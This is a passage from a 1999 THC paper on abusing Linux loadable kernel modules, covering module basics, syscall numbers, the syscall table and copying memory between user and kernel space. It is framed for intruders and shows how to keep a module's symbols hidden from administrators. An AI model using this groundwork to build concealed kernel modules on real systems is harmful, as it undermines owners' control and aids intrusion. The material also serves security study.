added unreleased README
[oweals/thc-archive.git] / Papers / LKM_HACKING.html
1 <HTML>
2 <TITLE>(nearly) Complete Linux Loadable Kernel Modules</title>
3 <BODY BGCOLOR=WHITE>
4 <CENTER>
5 <H1><FONT COLOR=#0000FF>
6                 (nearly) Complete Linux Loadable Kernel Modules
7 </H1></FONT>
8
9
10 <H4>
11  -the definitive guide for hackers, virus coders and system administrators-       
12 </H4>
13
14 </CENTER>
15 <P>
16 <H4><FONT COLOR=#FF0000>
17 written by pragmatic / THC, version 1.0<br>
18 released 03/1999<br>               
19 </H4></font>
20
21 <P><P><P><P><P><P>
22
23 <CENTER>
24 <H3>
25                                     CONTENTS
26 </H3>
27 </CENTER>
28
29
30 <A HREF="#Introduction">Introduction</A><BR>
31 <P><P>
32 <B><U>
33 I. Basics<BR>
34 </B></U>
35 <A HREF="#I.1.">1. What are LKMs</A><BR>
36 <A HREF="#I.2.">2. What are Syscalls</A><BR> 
37 <A HREF="#I.3.">3. What is the Kernel-Symbol-Table</A><BR> 
38 <A HREF="#I.4.">4. How to transform Kernel to User Space Memory</A><BR>
39 <A HREF="#I.5.">5. Ways to use user space like functions</A><BR> 
40 <A HREF="#I.6.">6. List of daily needed Kernelspace Functions</A><BR>
41 <A HREF="#I.7.">7. What is the Kernel-Daemon</A><BR> 
42 <A HREF="#I.8.">8. Creating your own Devices</A><BR>
43 <P><P>
44 <B><U>
45 II. Fun & Profit<BR>
46 </B></U>
47 <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
48 <A HREF="#II.2.">2. Interesting Syscalls to Intercept</A><BR>
49 <DD><A HREF="#II.2.1.">2.1  Finding interesting systemcalls (the strace approach)</A><BR></DD>
50 <A HREF="#II.3.">3. Confusing the kernel's System Table</A><BR>
51 <A HREF="#II.4.">4. Filesystem related Hacks</A><BR>
52 <DD><A HREF="#II.4.1."> 4.1  How to Hide Files</A><BR></DD>
53 <DD><A HREF="#II.4.2."> 4.2  How to hide the file contents (totally)</A><BR></DD>
54 <DD><A HREF="#II.4.3."> 4.3  How to hide certain file parts (a prototype implementation)</A><BR></DD>
55 <DD><A HREF="#II.4.4."> 4.4  How to monitor redirect file operations</A><BR></DD>
56 <DD><A HREF="#II.4.5."> 4.5  How to avoid any file owner problems</A><BR></DD>
57 <DD><A HREF="#II.4.6."> 4.6  How to make a hacker-tools-directory unaccessible</A><BR></DD>
58 <DD><A HREF="#II.4.7."> 4.7  How to change CHROOT Environments</A><BR></DD>
59 <A HREF="#II.5.">5. Process related Hacks</A><BR>
60 <DD><A HREF="#II.5.1."> 5.1  How to hide any process</A><BR></DD>
61 <DD><A HREF="#II.5.2."> 5.2  How to redirect Execution of files</A><BR></DD>
62 <A HREF="#II.6.">6. Network (Socket) related Hacks</A><BR>
63 <DD><A HREF="#II.6.1."> 6.1  How to controll Socket Operations</A><BR></DD>
64 <A HREF="#II.7.">7. Ways to TTY Hijacking</A><BR>
65 <A HREF="#II.8.">8. Virus writing with LKMs</A><BR>
66 <DD><A HREF="#II.8.1."> 8.1  How a LKM virus can infect any file (not just modules; prototype)</A><BR></DD>
67 <DD><A HREF="#II.8.2."> 8.2  How can a LKM virus help us to get in</A><BR></DD>
68 <A HREF="#II.9.">9. Making our LKM invisible & unremovable</A><BR>
69 <A HREF="#II.10.">10.Other ways of abusing the Kerneldaemon</A><BR>
70 <A HREF="#II.11.">11.How to check for presents of our LKM</A><BR>
71 <P><P>
72 <B><U>
73 III. Soltutions (for admins)<BR>
74 </B></U>
75 <A HREF="#III.1.">1. LKM Detector Theory & Ideas</A><BR>
76 <DD><A HREF="#III.1.1.">1.1  Practical Example of a prototype Detector</A><BR></DD>
77 <DD><A HREF="#III.1.2.">1.2  Practical Example of a prototype password protected create_module(...)</A><BR></DD>
78 <A HREF="#III.2.">2. Anti-LKM-Infector ideas</A><BR>
79 <A HREF="#III.3.">3 Make your programs untraceable (theory)</A><BR>
80 <DD><A HREF="#III.3.1.">3.1  Practical Example of a prototype Anti-Tracer</A><BR></DD>
81 <A HREF="#III.3.">4. Hardening the Linux Kernel with LKMs</A><BR>
82 <DD><A HREF="#III.4.1."> 4.1  Why should we allow arbitrary programs execution rights? 
83       (route's idea from Phrack implemented as LKM)</A><BR></DD>
84 <DD><A HREF="#III.4.2"> 4.2  The Link Patch
85       (Solar Designer's idea from Phrack implemented as LKM)</A><BR></DD>
86 <DD><A HREF="#III.4.3."> 4.3  The /proc permission patch
87       (route's idea from Phrack implemented as LKM)</A><BR></DD>
88 <DD><A HREF="#III.4.4."> 4.4  The securelevel patch
89       (route's idea from Phrack implemented as LKM)</A><BR></DD>
90 <DD><A HREF="#III.4.5."> 4.5  The rawdisk patch</A><BR></DD>
91 <P><P>
92 <B><U>
93 IV. Some Better Ideas (for hackers)<BR>
94 </B></U>
95 <A HREF="#IV.1.">1. Tricks to beat admin LKMs</A><BR>
96 <A HREF="#IV.2.">2. Patching the whole kernel - or creating the Hacker-OS</A><BR>
97 <DD><A HREF="#IV.2.1."> 2.1  How to find kernel symbols in /dev/kmem</A><BR></DD>
98 <DD><A HREF="#IV.2.2."> 2.2  The new 'insmod' working without kernel support</A><BR></DD>
99 <A HREF="#IV.3.">3. Last words</A><BR>
100 <P><P>
101 <B><U>
102 V. The near future : Kernel 2.2<BR>
103 </B></U>
104 <A HREF="#V.1.">1. Main Difference for LKM writer's</A><BR>
105 <P><P>
106 <B><U>
107 VI. Last Words<BR>
108 </B></U>
109 <A HREF="#VI.1.">1. The 'LKM story' or 'how to make a system plug & hack compatible'</A><BR>
110 <A HREF="#VI.2.">2. Links to other Resources</A><BR>
111 <P><P>
112 <A HREF="#Acknowledgements">Acknowledgements</A><BR>
113 <P><P>
114 <A HREF="#Greets">Greets</A><BR>
115 <P><P><P><P>
116 <B><U>
117 Appendix<BR>
118 </B></U>
119 <P><P>
120 <B><U>
121 A - Source Codes<BR>
122 </B></U>
123
124 <DD><A HREF="#A-a">a) LKM Infection <I>by Stealthf0rk/SVAT</I></A><BR></DD>
125 <DD><A HREF="#A-b">b) Heroin - the classic one <I>by Runar Jensen</I></A><BR></DD>
126 <DD><A HREF="#A-c">c) LKM Hider / Socket Backdoor <I>by plaguez</I></A><BR></DD>
127 <DD><A HREF="#A-d">d) LKM TTY hijacking <I>by halflife</I></A><BR></DD>
128 <DD><A HREF="#A-e">e) AFHRM - the monitor tool <I>by Michal Zalewski</I></A><BR></DD>
129 <DD><A HREF="#A-f">f) CHROOT module trick <I>by FLoW/HISPAHACK</I></A><BR></DD>
130 <DD><A HREF="#A-g">g) Kernel Memory Patching <I>by ?</I></A><BR></DD>
131 <DD><A HREF="#A-h">h) Module insertion without native support <I>by Silvio Cesare</I></A><BR></DD>
132
133 <P><P><P><P>
134 <HR SIZE="3" WIDTH="300" ALIGN="CENTER" NOSHADE="NOSHADE">
135 <P><P><P><P>
136
137 <P>
138 <H3><A NAME="Introduction"></A>Introduction</H3>
139 <P>
140
141 The use of Linux in server environments is growing from second to second. So
142 hacking Linux becomes more interesting every day. One of the best techniques to
143 attack a Linux system is using kernel code. Due to its feature called Loadable
144 Kernel Modules (LKMs) it is possible to write code running in kernel space, which
145 allows us to access very sensitive parts of the OS. There were some texts and
146 files concerning LKM hacking before (Phrack, for example) which were very good.
147 They introduced new ideas, new methodes and complete LKMs doing anything a
148 hacker ever dreamed of. Also some public discussion (Newsgroups, Mailinglists)
149 in 1998 were very interesting.<BR>
150 So why do I write again a text about LKMs. Well there are several reasons :
151 <ul>
152 <li> former texts did sometimes not give good explanations for kernel beginners;
153   this text has a very big basic section, helping beginners to understand the
154   concepts. I met lots of people using nice exploits/sniffers and so on without
155   even understanding how they work. I included lots of source code in this file
156   with lots of comments, just to help those beginners who know that hacking is
157   more than playing havoc on some networks out there !<br>
158 <li> every published text concentrated on a special subject, there was no complete
159   guide for hackers concerning LKMs. This text will cover nearly every aspect of
160   kernel abusing (even virus aspects)<br>
161 <li> this texts was written from the hacker / virus coder perspective, but it will
162   also help admins and normal kernel developers doing a better job<br>
163 <li> former text showed us the main advantages / methods of abusing LKMs, but
164   there are some things which we have not heard of yet. This text will show
165   some new ideas (nothing totally new, but things which could help us)<br>
166 <li> this text will show concepts of some simple ways to protect from LKM attacks<br>
167 <li> this text will also show how to defeat LKM protections by using methods like
168   Runtime Kernel Patching<br>
169 </ul>
170
171 Please remember that new ideas are implemented as prototype modules (just for
172 demonstration) which have to be improved in order to use them in the wild.<br>
173 The main motivation of this text is giving everyone <i>one</i> big text covering the
174 whole LKM problem. In appendix A I give you some existing LKMs plus a short
175 description of their working (for beginners) and ways to use them. <br>
176 The whole text (except part V) is based on a Linux 2.0.x machine (x86).I tested
177 all programs and code fragments. The Linux system must have LKM support for
178 using most code examples in this text.  Only part  IV  will show some sources 
179 working without native LKM support. Most ideas in this text will also work on
180 2.2.x systems (perhaps you'll need some minor modification); but recall that
181 kernel 2.2.x was just released (1/99) and most linux distribution still use 
182 2.0.x (Redhat, SuSE, Caldera, ...). In April some some distributors like SuSE
183 will present their kernel 2.2.x versions; so you won't need to know how to hack
184 a 2.2.x kernel at the moment. Good administrators will also wait some months
185 in order to get a more reliable 2.2.x kernel. [Note : Most systems just don't 
186 need kernel 2.2.x so they will continue using 2.0.x].<br>
187 This text has a special section dealing with LKMs helping admins to secure the
188 system. You (hacker) should also read this section, you <i>must</i> know everything
189 the admins know and even more. You will also get some nice ideas from that
190 section that could help you develope more advanced 'hacker-LKMs'. Just read the
191 whole text !<br>
192 <I><u>And please remember</I></u> : This text was only written for educational purpose. Any
193 illegal action based on this text is your own problem.<br>
194
195
196 <u><b>
197 <H2>I. Basics</H2>
198 </u></b>
199 <P><P>
200 <H3><A NAME="I.1."></A>1. What are LKMs</H3>
201
202
203 LKMs are Loadable Kernel Modules used by the Linux kernel to expand his
204 functionality. The advantage of those LKMs : <i>The can be loaded dynamically</i>;
205 there must be no recompilation of the whole kernel. Because of those features
206 they are often used for specific device drivers (or filesystems) such as
207 soundcards etc.<br>
208 Every LKM consist of two basic functions (minimum) :
209 <XMP>
210 int init_module(void) /*used for all initialition stuff*/
211 {
212
213 ...
214 }
215
216 void cleanup_module(void) /*used for a clean shutdown*/
217 {
218 ...
219 }
220 </XMP>
221
222 Loading a module - normally retricted to root - is managed by issuing the
223 follwing command:
224
225 <xmp>
226 # insmod module.o
227 </xmp>
228
229 This command forces the System to do the following things :
230 <ul>
231 <li>Load the objectfile (here module.o)<br>
232 <li>call create_module systemcall (for systemcalls -> see I.2) for Relocation of
233     memory<br>
234 <li>unresolved references are resolved by Kernel-Symbols with the systemcall 
235     get_kernel_syms<br>
236 <li>after this the init_module systemcall is used for the LKM initialisation
237     -> executing int init_module(void) etc.<br>
238 </ul>
239 The Kernel-Symbols are explained in I.3 (Kernel-Symbol-Table).<br>
240 So I think we can write our first little LKM just showing how it basicly works:
241
242 <xmp>
243 #define MODULE
244 #include <Linux/module.h>
245
246 int init_module(void)
247 {
248  printk("<1>Hello World\n");
249  return 0;
250 }
251
252 void cleanup_module(void)
253 {
254  printk("<1>Bye, Bye");
255 }
256 </xmp>
257
258 You may wonder why I used printk(...) not printf(...). Well <i>Kernel-Programming</i>
259 is totally different from <i>Userspace-Programming</i> !<br>
260 You only have a very restricted set of commands (see I.6). With those commands
261 you cannot do much, so you will learn how to use lots of functions you know from
262 your userspace applications helping you hacking the kernel. Just be patient, we
263 have to do something else before...<br>
264 The Example above can easily compiled by
265
266 <xmp>
267 # gcc -c -O3 helloworld.c
268 # insmod helloworld.o
269 </xmp>
270
271 Ok, our module is loaded and showed us the famous text. Now you can check some
272 commands showing you that your LKM really stays in kernel space.<br>
273
274 <xmp>
275 # lsmod
276 Module         Pages    Used by
277 helloworld         1          0
278 </xmp>
279
280 This command reads the information in /proc/modules for showing you which
281 modules are loaded at the moment. 'Pages' is the memory information (how many
282 pages does this module fill); the 'Used by' field tells us how often the module
283 is used in the System (reference count). The module can only be removed, when
284 this counter is zero; after checking this, you can remove your module with
285
286 <xmp>
287 # rmmod helloworld
288 </xmp>
289
290 Ok, this was our first little (very little) step towards abusing LKMs. I always
291 compared those LKMs to old DOS TSR Programs (yes there are many differences, 
292 I know), they were our gate to staying resident in memory and catching every
293 interrupt we wanted. Microsoft's WIN 9x has something called VxD, which is 
294 also  similar to LKMs (also many differences). The most interesting part of
295 those resident programs is the ability to hook system functions, in the Linux
296 world called systemcalls.<br>
297
298  
299 <H3><A NAME="I.2."></A>2. What are systemcalls</h3>
300
301 I hope you know, that every OS has some functions build into its kernel, which
302 are used for every operation on that system.<br>
303 The functions Linux uses are called systemcalls. They represent a transition
304 from user to kernel space. Opening a file in user space is represented by the
305 sys_open systemcall in kernel space. For a complete list of all systemcalls
306 available on your System look at /usr/include/sys/syscall.h. The following list
307 shows my syscall.h 
308
309 <xmp>
310 #ifndef _SYS_SYSCALL_H
311 #define _SYS_SYSCALL_H
312
313 #define SYS_setup               0 /* Used only by init, to get system going. */
314 #define SYS_exit                1
315 #define SYS_fork                2
316 #define SYS_read                3
317 #define SYS_write               4
318 #define SYS_open                5
319 #define SYS_close               6
320 #define SYS_waitpid             7
321 #define SYS_creat               8
322 #define SYS_link                9
323 #define SYS_unlink              10
324 #define SYS_execve              11
325 #define SYS_chdir               12
326 #define SYS_time                13
327 #define SYS_prev_mknod          14
328 #define SYS_chmod               15
329 #define SYS_chown               16
330 #define SYS_break               17
331 #define SYS_oldstat             18
332 #define SYS_lseek               19
333 #define SYS_getpid              20
334 #define SYS_mount               21
335 #define SYS_umount              22
336 #define SYS_setuid              23
337 #define SYS_getuid              24
338 #define SYS_stime               25
339 #define SYS_ptrace              26
340 #define SYS_alarm               27
341 #define SYS_oldfstat            28
342 #define SYS_pause               29
343 #define SYS_utime               30
344 #define SYS_stty                31
345 #define SYS_gtty                32
346 #define SYS_access              33
347 #define SYS_nice                34
348 #define SYS_ftime               35
349 #define SYS_sync                36
350 #define SYS_kill                37
351 #define SYS_rename              38
352 #define SYS_mkdir               39
353 #define SYS_rmdir               40
354 #define SYS_dup                 41
355 #define SYS_pipe                42
356 #define SYS_times               43
357 #define SYS_prof                44
358 #define SYS_brk                 45
359 #define SYS_setgid              46
360 #define SYS_getgid              47
361 #define SYS_signal              48
362 #define SYS_geteuid             49
363 #define SYS_getegid             50
364 #define SYS_acct                51
365 #define SYS_phys                52
366 #define SYS_lock                53
367 #define SYS_ioctl               54
368 #define SYS_fcntl               55
369 #define SYS_mpx                 56
370 #define SYS_setpgid             57
371 #define SYS_ulimit              58
372 #define SYS_oldolduname         59
373 #define SYS_umask               60
374 #define SYS_chroot              61
375 #define SYS_prev_ustat          62
376 #define SYS_dup2                63
377 #define SYS_getppid             64
378 #define SYS_getpgrp             65
379 #define SYS_setsid              66
380 #define SYS_sigaction           67
381 #define SYS_siggetmask          68
382 #define SYS_sigsetmask          69
383 #define SYS_setreuid            70
384 #define SYS_setregid            71
385 #define SYS_sigsuspend          72
386 #define SYS_sigpending          73
387 #define SYS_sethostname         74
388 #define SYS_setrlimit           75
389 #define SYS_getrlimit           76
390 #define SYS_getrusage           77
391 #define SYS_gettimeofday        78
392 #define SYS_settimeofday        79
393 #define SYS_getgroups           80
394 #define SYS_setgroups           81
395 #define SYS_select              82
396 #define SYS_symlink             83
397 #define SYS_oldlstat            84
398 #define SYS_readlink            85
399 #define SYS_uselib              86
400 #define SYS_swapon              87
401 #define SYS_reboot              88
402 #define SYS_readdir             89
403 #define SYS_mmap                90
404 #define SYS_munmap              91
405 #define SYS_truncate            92
406 #define SYS_ftruncate           93
407 #define SYS_fchmod              94
408 #define SYS_fchown              95
409 #define SYS_getpriority         96
410 #define SYS_setpriority         97
411 #define SYS_profil              98
412 #define SYS_statfs              99
413 #define SYS_fstatfs             100
414 #define SYS_ioperm              101
415 #define SYS_socketcall          102
416 #define SYS_klog                103
417 #define SYS_setitimer           104
418 #define SYS_getitimer           105
419 #define SYS_prev_stat           106
420 #define SYS_prev_lstat          107
421 #define SYS_prev_fstat          108
422 #define SYS_olduname            109
423 #define SYS_iopl                110
424 #define SYS_vhangup             111
425 #define SYS_idle                112
426 #define SYS_vm86old             113
427 #define SYS_wait4               114
428 #define SYS_swapoff             115
429 #define SYS_sysinfo             116
430 #define SYS_ipc                 117
431 #define SYS_fsync               118
432 #define SYS_sigreturn           119
433 #define SYS_clone               120
434 #define SYS_setdomainname       121
435 #define SYS_uname               122
436 #define SYS_modify_ldt          123
437 #define SYS_adjtimex            124
438 #define SYS_mprotect            125
439 #define SYS_sigprocmask         126
440 #define SYS_create_module       127
441 #define SYS_init_module         128
442 #define SYS_delete_module       129
443 #define SYS_get_kernel_syms     130
444 #define SYS_quotactl            131
445 #define SYS_getpgid             132
446 #define SYS_fchdir              133
447 #define SYS_bdflush             134
448 #define SYS_sysfs               135
449 #define SYS_personality         136
450 #define SYS_afs_syscall         137 /* Syscall for Andrew File System */
451 #define SYS_setfsuid            138
452 #define SYS_setfsgid            139
453 #define SYS__llseek             140
454 #define SYS_getdents            141
455 #define SYS__newselect          142
456 #define SYS_flock               143
457 #define SYS_syscall_flock       SYS_flock
458 #define SYS_msync               144
459 #define SYS_readv               145
460 #define SYS_syscall_readv       SYS_readv
461 #define SYS_writev              146
462 #define SYS_syscall_writev      SYS_writev
463 #define SYS_getsid              147
464 #define SYS_fdatasync           148
465 #define SYS__sysctl             149
466 #define SYS_mlock               150
467 #define SYS_munlock             151
468 #define SYS_mlockall            152
469 #define SYS_munlockall          153
470 #define SYS_sched_setparam      154
471 #define SYS_sched_getparam      155
472 #define SYS_sched_setscheduler  156
473 #define SYS_sched_getscheduler  157
474 #define SYS_sched_yield         158
475 #define SYS_sched_get_priority_max      159
476 #define SYS_sched_get_priority_min      160
477 #define SYS_sched_rr_get_interval       161
478 #define SYS_nanosleep           162
479 #define SYS_mremap              163
480 #define SYS_setresuid           164
481 #define SYS_getresuid           165
482 #define SYS_vm86                166
483 #define SYS_query_module        167
484 #define SYS_poll                168
485 #define SYS_syscall_poll        SYS_poll
486
487 #endif  /* <sys/syscall.h> */
488 </xmp>
489
490 Every systemcall has a defined number (see listing above), which is actually
491 used to make the systemcall.<br>
492 The Kernel uses interrupt 0x80 for managing every systemcall.  The systemcall
493 number and any arguments are moved to some registers (eax for systemcall number,
494 for example).<br>
495 The systemcall number is an index in an array of a kernel structure called
496 sys_call_table[]. This structure maps the systemcall numbers to the needed
497 service function.<br>
498 Ok, this should be enough knowledge to continue reading. The following table
499 lists the most interesting systemcalls plus a short description.
500 Believe me, you have to know the exact working of those systemcalls in order to
501 make really useful LKMs.<br>
502
503 <TABLE border=5 width=100%>
504 <tr>
505
506 <th>systemcall</th>
507 <th>description</th>
508
509
510 <tr>
511 <td>int sys_brk(unsigned long new_brk);</td>
512 <td>changes the size of used DS (data segment)
513  ->this systemcall will be discussed in I.4</td>
514 </tr>
515
516
517 <tr>
518 <td>int sys_fork(struct pt_regs regs);</td>  
519 <td>systemcall for the well-know fork() function in user space</td>
520 </tr>
521
522 <tr>
523 <td>int sys_getuid     
524 ()<br>
525 int sys_setuid
526 (uid_t uid)<br>
527 ...</td>
528 <td>systemcalls for managing UID etc.</td>
529 </tr>
530
531
532
533 <tr>
534 <td>int sys_get_kernel_sysms(struct kernel_sym *table)</td>
535 <td>systemcall for accessing the kernel system table (-> I.3)</td>
536 </tr>
537
538 <tr>
539 <td>int sys_sethostname      
540 (char *name,              
541  int len);<br>                
542 int sys_gethostname
543 (char *name,
544  int len);<br></td>
545 <td>sys_sethostname is responsible for setting the hostname, and sys_gethostname for retrieving
546 it</td>
547 </tr>
548
549 <tr>
550 <td>int sys_chdir
551 (const char *path);<br>           
552 int sys_fchdir           
553 (unsigned int fd);<br></td>
554 <td>both function are used for setting the current directory (cd ...)</td>
555 </tr>
556
557 <tr>
558 <td>int sys_chmod        
559 (const char 
560  *filename, mode_t  
561  mode);<br>
562 int sys_chown
563 (const char 
564  *filename, mode_t  
565  mode);<br>
566 int sys_fchmod
567 (unsigned int
568  fildes, mode_t
569  mode);<br>
570 int sys_fchown
571 (unsigned int
572  fildes, mode_t
573  mode);<br></td>
574 <td>functions for managing permissions and so on</td>
575 </tr>
576
577 <tr>
578 <td>int sys_chroot      
579 (const char 
580  *filename);</td>
581 <td>sets root directory for calling process</td>
582 </tr>
583
584 <tr>
585 <td>int sys_execve      
586 (struct pt_regs regs);</td>    
587 <td>important systemcall -> it is responsible for executing file (pt_regs is the register stack)</td>
588 </tr>
589
590 <tr>
591 <td>long sys_fcntl    
592 (unsigned int fd,
593  unsigned int cmd,
594  unsigned long arg);</td>
595 <td>changing characteristics of fd (opened file descr.)</td>
596 </tr>
597
598 <tr>
599 <td>int sys_link           
600 (const char *oldname,
601  const char *newname);<br>
602 int sym_link
603 (const char *oldname,
604  const char *newname);<br>
605 int sys_unlink
606 (const char *name);<br></td>
607 <td>systemcalls for hard- / softlinks management</td>
608 </tr>
609
610 <tr>
611 <td>int sys_rename         
612 (const char *oldname,
613  const char *newname);</td>
614 <td>file renaming</td>
615 </tr>
616
617 <tr>
618 <td>int sys_rmdir                 
619 (const char* name);<br>
620 int sys_mkdir
621 (const *char filename,
622  int mode);<br></td>
623 <td>creating & removing directories</td>
624 </tr>
625
626 <tr>
627 <td>int sys_open             
628 (const char *filename,   
629 int mode);<br>
630 int sys_close
631 (unsigned int fd);<br></td>
632 <td>everything concering opening files (also creation), and also closing them</td>
633 </tr>
634
635 <tr>
636 <td>int sys_read
637 (unsigned int fd,
638  char *buf, unsigned int
639  count);<br>
640 int sys_write
641 (unsigned int fd,
642  char *buf, unsigned int
643  count);<br></td>
644 <td>systemcalls for writing & reading from Files</td>
645 </tr>
646
647 <tr>
648 <td>int sys_getdents      
649 (unsigned int fd,
650  struct dirent *dirent,
651  unsigned int count);</td>
652 <td>systemcall which retrievs file listing (ls ... command)  </td>
653 </tr>
654
655 <tr>
656 <td>int sys_readlink         
657 (const char *path,
658  char *buf, int bufsize);</td>
659 <td>reading symbolic links</td>
660 </tr>
661
662 <tr>
663 <td>int sys_selectt          
664 (int n, fd_set *inp, 
665 fd_set *outp, fd_set 
666  *exp, struct timeval
667  *tvp);</td>
668 <td>multiplexing of I/O operations</td>
669 </tr>
670
671 <tr>
672 <td>sys_socketcall           
673 (int call, unsigned long  
674  args);</td>
675 <td>socket functions</td>
676 </tr>
677
678 <tr>
679 <td>unsigned long            
680 sys_create_module
681 (char *name, unsigned 
682 long size);<br>
683 int sys_delete_module
684 (char *name);<br>
685 int sys_query_module
686 (const char *name,
687  int which,
688  void *buf,
689  size_t bufsize,
690  size_t *ret);<br></td>
691 <td>used for loading / unloading LKMs and querying</td> 
692 </tr>
693 </table>
694
695 In my opinion these are the most interesting systemcalls for any hacking
696 intention, of course it is possible that you may need something special on your
697 rooted system, but the average hacker has a plenty of possibilities with the
698 listing above. In part II you will learn how to use the systemcalls for your
699 profit.
700
701
702 <H3><A NAME="I.3."></A>3. What is the Kernel-Symbol-Table</h3>
703
704 Ok, we understand the basic concept of systemcalls and modules. But there is
705 another very important point we need to understand - the Kernel Symbol Table.
706 Take a look at /proc/ksyms. Every entry in this file represents an exported
707 (public) Kernel Symbol, which can be accessed by our LKM. Take a deep look
708 in that file, you will find many interesting things in it. <br>
709 This file is really very interesting, and can help us to see what our LKM can
710 get; but there is one problem. Every Symbol used in our LKM (like a function) is
711 also exportet to the public, and is also listed in that file. So an experienced
712 admin could discover our little LKM and kill it.<br>
713 There are lots of methods to prevent the admin from seeing our LKM, look at
714 section II.<br>
715 The methods mentioned in II can be called 'Hacks', but when you take a look at
716 the contents of section II you won't find any reference to 'Keeping LKM Symbols
717 out of /proc/ksyms'. The reason for not mentioning this problem in II is the
718 following :<br>
719 you won't need a trick to keep your module symbols away from /proc/ksyms.
720 LKM devolopers are able to use the following piece of regular code to limit the
721 exported symbols of their module:<br>
722
723 <xmp>
724 static struct symbol_table module_syms= { /*we define our own symbol table !*/
725  #include <linux/symtab_begin.h>          /*symbols we want to export, do we ?*/
726    ...                                       
727 };
728
729 register_symtab(&module_syms);            /*do the actual registration*/
730 </xmp>
731
732 As I said, we don't want to export any symbols to the public, so we use the
733 following construction :
734
735 <xmp>
736 register_symtab(NULL);
737 </xmp>
738
739 This line must be inserted in the init_module() function, remember this !
740
741
742 <H3><A NAME="I.4."></A>4. How to transform Kernel to User Space Memory </h3>
743
744 Till now this essay was very very basic and easy. Now we come to stuff
745 more difficult (but not more advanced).<br>
746 We have many advantages because of coding in kernel space, but we also have some
747 disadvantages. systemcalls get their arguments from user space (systemcalls are 
748 implemented in wrappers like libc), but our LKM runs in kernel space. In section
749 II you will see that it is very important for us to check the arguments of
750 certain systemcalls in order to act the right way. But how can we access an
751 argument allocated in user space from our kernel space module ?
752 <br><i>Solution</i> : We have to make a <i>transition</i>.<br>
753 This may sound a bit strange for non-kernel-hackers, but is really easy. Take
754 the following systemcall :<br>
755
756 <xmp>
757 int sys_chdir (const char *path)
758 </xmp>
759
760 Imagine the system calling it, and we intercept that call (we will learn this in
761 section II). We want to check the path the user wants to set, so we have to
762 access const char *path. If you try to access the path variable directly like
763
764 <xmp>
765 printk("<1>%s\n", path);
766 </xmp>
767
768 you will get <i>real</i> problems...<br>
769 Remember you are in kernel space, you <i>cannot</i> read user space memory easily.
770 Well in Phrack 52 you get a solution by plaguez, which is specialized for strings
771 He uses a kernel mode function (macro) for retrieving user space memory bytes :
772
773 <xmp>
774 #include <asm/segment.h>
775
776 get_user(pointer);
777 </xmp>
778
779 Giving this function a pointer to our *path location helps ous getting the bytes
780 from user space memory to kernel space. Look at the implemtation made by plaguez
781 for moving strings from user to kernel space:<br>
782
783 <xmp>
784 char *strncpy_fromfs(char *dest, const char *src, int n)
785 {
786     char *tmp = src;
787     int compt = 0;
788
789     do {
790         dest[compt++] = __get_user(tmp++, 1);
791     }
792     while ((dest[compt - 1] != '\0') && (compt != n));
793
794     return dest;
795 }
796 </xmp>
797
798 If we want to convert our *path variable we can use the following piece of kernel
799 code :
800
801 <xmp>
802  char *kernel_space_path;
803
804  kernel_space_path = (char *) kmalloc(100, GFP_KERNEL); /*allocating memory 
805                                                         in kernel space*/
806  (void) strncpy_fromfs(test, path, 20);                 /*calling plaguez's 
807                                                         function*/
808  printk("<1>%s\n", kernel_space_path);                  /*now we can use
809                                                         the data for whatever we
810                                                         want*/
811  kfree(test);                                           /*remember freeing the
812                                                         memory*/
813 </xmp>
814
815 The code above works very fine. For a general transition it is too complicated;
816 plaguez used it only for strings (the functions is made only for string copies).
817 For normal data transitions the following function is the easiest way of doing:
818
819 <xmp>
820 #include <asm/segment.h>
821 void memcpy_fromfs(void *to, const void *from, unsigned long count);
822 </xmp>
823
824
825 Both functions are obviously based on the same kind of commands, but the second
826 one is nearly the same as plaguez's newly defined function. I would recommand
827 using memcpy_fromfs(...) for general data transitions and plaguez's one for
828 string copying tasks.<br>
829 Now we know how to convert <i>from</i> user space memory <i>to</i> kernel space. But what
830 about the other direction ? This is a bit harder, because we cannot easily
831 allocate user space memory from our kernel space position. If we could manage this
832 problem we could use<br>
833
834 <xmp>
835 #include <asm/segment.h>
836 void memcpy_tofs(void *to, const void *from, unsigned long count);
837 </xmp>
838
839 doing the actual converting. But how to allocate user space for the *to pointer?
840 plaguez's Phrack essay gives us the best solution :
841
842 <xmp>
843 /*we need brk systemcall*/
844 static inline _syscall1(int, brk, void *, end_data_segment);
845
846 ...
847
848 int ret, tmp;
849 char *truc = OLDEXEC;
850 char *nouveau = NEWEXEC;
851 unsigned long mmm;
852
853 mmm = current->mm->brk;
854 ret = brk((void *) (mmm + 256));
855 if (ret < 0)
856    return ret;
857 memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
858 </xmp>
859
860 This is a very nice trick used here. current is a pointer to the task structure
861 of the current process; mm is the pointer to the mm_struct - responsible for
862 the memory management of that process. By using the brk-systemcall on current->
863 mm->brk we are able to increase the size of the unused area of the datasegment.
864 And as we all know allocating memory is done by playing with the datasegment,
865 so by increasing the unused area size, we have allocated some piece of memory
866 for the current process. This memory can be used for copying the kernel space
867 memory to user space (of the current process).<br>
868 You may wonder about the first line from the code above. This line helps us to
869 use user space like functions in kernel space.Every user space function provided
870 to us (like fork, brk, open, read, write, ...) is represented by a _syscall(...)
871 macro. So we can construct the exact syscall-macro for a certain user space
872 function (represented by a systemcall); here for brk(...).<br>
873 See I.5 for a detailed explanation.
874
875 <H3><A NAME="I.5."></A>5.  Ways to use user space like functions</h3>
876
877 As you saw in I.4 we used a syscall macro for constructing our own brk call,
878 which is like the one we know from user space (->brk(2)). The truth about the
879 user space library funtions (not all) is that they all are implemented through
880 such syscall macros. The following code shows the _syscall1(..) macro used in
881 I.4 to construct the brk(..) function (taken from /asm/unistd.h). <br>
882
883 <xmp>
884 #define _syscall1(type,name,type1,arg1) \
885 type name(type1 arg1) \
886 { \
887 long __res; \
888 __asm__ volatile ("int $0x80" \
889         : "=a" (__res) \
890         : "0" (__NR_##name),"b" ((long)(arg1))); \
891 if (__res >= 0) \
892         return (type) __res; \
893 errno = -__res; \
894 return -1; \
895 }
896 </xmp>
897
898 You don't need to understand this code in its full function, it just calls
899 interrupt 0x80 with the arguments provided by the _syscall1 parameters (-> I.2).
900 name stands for the systemcall we need (the name is expanded to __NR_name, which
901 is defined in /asm/unistd.h). This way we implemted the brk function. Other
902 functions with a different count of arguments are implemented through other
903 macros (_syscallX, where X stands for the number of arguments). <br>
904 I personally use another way of implementing functions; look at the following 
905 example :
906
907 <xmp>
908 int (*open)(char *, int, int); /*declare a prototype*/
909
910 open = sys_call_table[SYS_open];  /*you can also use __NR_open*/
911 </xmp>
912
913 This way you don't need to use any syscall macro, you just use the function
